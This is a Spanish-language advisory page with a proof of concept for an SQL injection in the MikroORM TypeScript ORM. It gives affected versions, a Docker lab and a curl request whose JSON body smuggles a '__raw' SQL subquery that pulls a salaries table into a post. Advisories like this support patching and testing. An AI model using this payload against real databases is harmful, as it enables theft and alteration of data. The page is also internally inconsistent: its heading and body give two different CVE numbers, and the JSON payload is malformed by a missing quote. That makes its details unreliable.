Volver a actualizaciones
ActualizadaSep 2, 2026

CVE-2026-34220 — Actualizado!

Vulnerabilidad de inyección SQL en MikroORM

Compartir

CVE-2026-43220 Inyección SQL en MikroORM

★ PoC de Inyección SQL en MikroORM CVE-2026-43220 ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


Descripción general

CVE-2026-43220 es una vulnerabilidad de Inyección SQL en MikroORM, un framework ORM para TypeScript/Node.js ampliamente utilizado.
Cuando un valor proporcionado por el usuario que contiene una propiedad __raw se pasa a una columna de tipo personalizado sin validación, la comprobación isRaw() de MikroORM lo identifica como una expresión SQL Raw interna de confianza e inserta el valor sql controlado por el atacante directamente en la consulta generada sin conversión de tipo ni saneamiento, provocando la ejecución no intencionada de SQL arbitrario.


Versiones afectadas

CategoríaVersión
VulnerableMikroORM versión ≤ 6.4.3 & 7.0.0 ≤ versión ≤ 7.0.5
ParcheadaMikroORM 6.4.4 & 7.0.6

Impacto

  • Exfiltración de datos sensibles de la base de datos sin autorización
  • Corrupción o modificación no intencionada de registros existentes en la base de datos

Entorno

docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

Tras iniciar el entorno vulnerable, siga los pasos a continuación para reproducir el ataque.

Paso 1. Enviar una solicitud con un payload malicioso que contenga __raw

Envíe un cuerpo JSON que incluya una propiedad __raw dirigida a una columna de tipo personalizado.

curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

Paso 2. Comprobar la respuesta HTTP

Verifique que la API devuelve una respuesta exitosa sin ningún error, lo que indica que MikroORM aceptó el payload malicioso como un valor válido.

Paso 3. Confirmar que los datos sensibles se exfiltran en el contenido de la publicación

Verifique que el campo content de la publicación creada contiene el resultado de la consulta de la tabla salaries (p. ej., Alice: 5000 / Bob: 7000 / ...), lo que confirma que datos de una tabla no relacionada se han incrustado silenciosamente en la respuesta sin ningún error ni violación de control de acceso.


Mitigación

  • Actualice a MikroORM 6.4.4 o posterior, que introduce la verificación de origen en isRaw() para rechazar propiedades __raw proporcionadas externamente
  • Aplique validación de entrada basada en listas blancas para rechazar propiedades inesperadas como __raw antes de pasar valores a la capa ORM

Análisis

Categorías